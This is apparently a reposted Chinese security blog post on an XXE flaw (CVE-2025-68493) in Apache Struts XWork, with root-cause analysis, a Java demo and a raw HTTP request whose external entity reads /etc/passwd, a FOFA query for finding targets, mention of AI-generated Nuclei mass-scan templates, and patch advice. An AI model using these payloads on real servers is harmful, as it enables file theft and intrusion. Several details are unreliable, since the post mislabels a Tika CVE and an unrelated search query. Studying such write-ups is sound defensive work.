ApacheStrutsXWorkXML漏洞CVE-2025-68493poc及脚本

admin 2026-01-17 01:23:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了ApacheStrutsXWork组件存在的XXE漏洞CVE-2025-68493,该漏洞影响6.1.0及以下版本,源于DomHelper.parse方法未限制外部实体访问。文章提供了漏洞原理、受影响版本、POC验证数据及基于AI生成的Nuclei批量检测脚本,并给出了升级版本或配置JVM参数禁用外部实体的修复建议。 综合评分: 85 文章分类: 漏洞POC,漏洞分析,WEB安全,渗透测试,解决方案


cover_image

Apache Struts XWork XML漏洞CVE-2025-68493 poc及脚本

原创

MY0723 MY0723

不秃头的安全

2026年1月16日 15:47 北京

Apache Struts XWork XML漏洞

CVE-2025-68493 poc及脚本

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

近日,Apache Tika 被曝出一个高危 XML 外部实体注入漏洞(CVE-2025-66516),CVSS 3.1 评分高达 8.1,攻击者可通过精心构造的 PDF 文件发起攻击,危害极大。

同时通过manus快速生成nuclei的yaml测试脚本批量检查,即生即用任何修改不需要动。

1.🎯 漏洞描述

Apache Struts XML外部实体注入漏洞(CVE-2025-68493),该漏洞源于 Apache Struts XWork-Core 组件中对 XML 解析器安全选项配置不当,攻击者可利用该漏洞,通过构造恶意的 XML 数据并发送至受影响的 Apache Struts 应用,触发 XML 外部实体注入,进而实现数据泄露、SSRF、拒绝服务等攻击。

🚀测绘语句

语句命中大量蜜罐,建议结合业务域名、ICP、证书信息交叉验证,避免误报。

fofa:title="E-Business Suite"

2. ✨ 受影响范围

2.0.0 <= Apache Struts <= 2.3.37(EOL)
2.5.0 <= Apache Struts <= 2.5.33(EOL)
6.0.0 <= Apache Struts <= 6.1.0

3.🛰️ 漏洞详情

在自定义代码中使用了 com.opensymphony.xwork2.util.DomHelper.parse 危险函数,该漏洞的根本原因在于Struts2在解析XML时,未正确限制外部实体的访问。当应用程序使用DomHelper.parse方法解析用户提供的XML时,如果XML中包含外部实体声明,且未正确配置安全参数,解析器会尝试加载并解析这些外部实体,导致XXE攻击。

具体来说,Java的JAXP(Java API for XML Processing)在解析XML时,默认允许访问外部实体(通过ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA参数控制)。在Struts2的实现中,当dtdMappings为null时,会直接使用SAXParserFactory创建解析器,而默认情况下这些安全参数未被正确设置,导致可以访问外部实体。

Java代码示例,展示如何触发该漏洞:

import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.IOException;
import java.io.StringReader;

public class XXEVulnerabilityDemo {
&nbsp; &nbsp; public static void main(String[] args) throws IOException {
&nbsp; &nbsp; &nbsp; &nbsp; // 构造恶意XML,包含外部实体引用
&nbsp; &nbsp; &nbsp; &nbsp; String xmlContent =&nbsp;"<?xml version=\"1.0\"?>\n"&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"<!DOCTYPE root [\n"&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;" &nbsp;<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n"&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"]>\n"&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"<root>&xxe;</root>";

&nbsp; &nbsp; &nbsp; &nbsp; InputSource inputSource = new InputSource(new StringReader(xmlContent));
&nbsp; &nbsp; &nbsp; &nbsp; Document document = DomHelper.parse(inputSource);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(document != null && document.getDocumentElement() != null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("解析结果: "&nbsp;+ document.getDocumentElement().getTextContent());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

漏洞触发过程: 攻击者构造包含外部实体引用的XML数据 应用程序使用DomHelper.parse方法解析该XML 解析器在处理DTD声明时,会尝试加载file:///etc/passwd文件,服务器将/etc/passwd文件的内容作为XML解析结果返回。

在Struts2应用中,如果存在类似XmlParserNoDtdAction这样的Action,允许用户提交XML数据进行解析,攻击者就可以通过提交上述恶意XML来读取服务器上的任意文件。

4. 🔐POC及脚本

🛰️POC:

POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 104

<?xml version="1.0"?><!DOCTYPE foo [
<!ENTITY xxeSYSTEM"file:///etc/passwd">]>
<foo>&xxe;</foo>

🌐利用manus ai快速生成nuclei的yaml测试脚本

不用在自己写脚本直接生成就可用。 本来想直接用[南风漏洞复现文库](https://mp.weixin.qq.com/s/0DQyyxO7cbELzJXbxF4A2g)现成文章直接生成,由于manus访问微信页面的滑块验证机制,目前无法直接读取链接文章的内容,将文章直接复制到manus后直接写一个nuclei的yaml脚本批量测试

成功输出都不需要手动变更直接使用

可直接拿nuclei测试,发现存在漏洞

可以验证下效果,包好用啊

📑修复建议

请及时更新至最新版本:Apache Struts >= 6.1.1

对于暂时无法完成版本升级的用户,可采取以下临时缓解措施:

1.使用自定义SAXParserFactory:配置系统属性xwork.saxParserFactory,指定一个默认禁用外部实体的自定义工厂类,阻止恶意外部实体的解析;

2.配置JVM 级别的安全参数:通过设置系统属性禁用XML 解析器对外部实体的访问,具体配置如下:

-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""

🔄 脚本获取

公众号回复“20260116”即可获取链接

📄往期推荐:

新款Shiro漏洞利用工具- Y5neKO 【攻防演练】内网大保健-快速刷分流程 攻防演练-医院-ez一把梭 记一次edu站点的fastjson打法

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

1. 需要以下各类安全证书的可以联系,后期可能涨价~

①Cn*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。想加群下方链接,群过期或群满加下方vx拉:

  1. 需要入星球的可以私聊优惠?
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安&nbsp;高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、最新新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不秃头的安全 MY0723 MY0723《Apache Struts XWork XML漏洞CVE-2025-68493 poc及脚本》

评论:0   参与:  0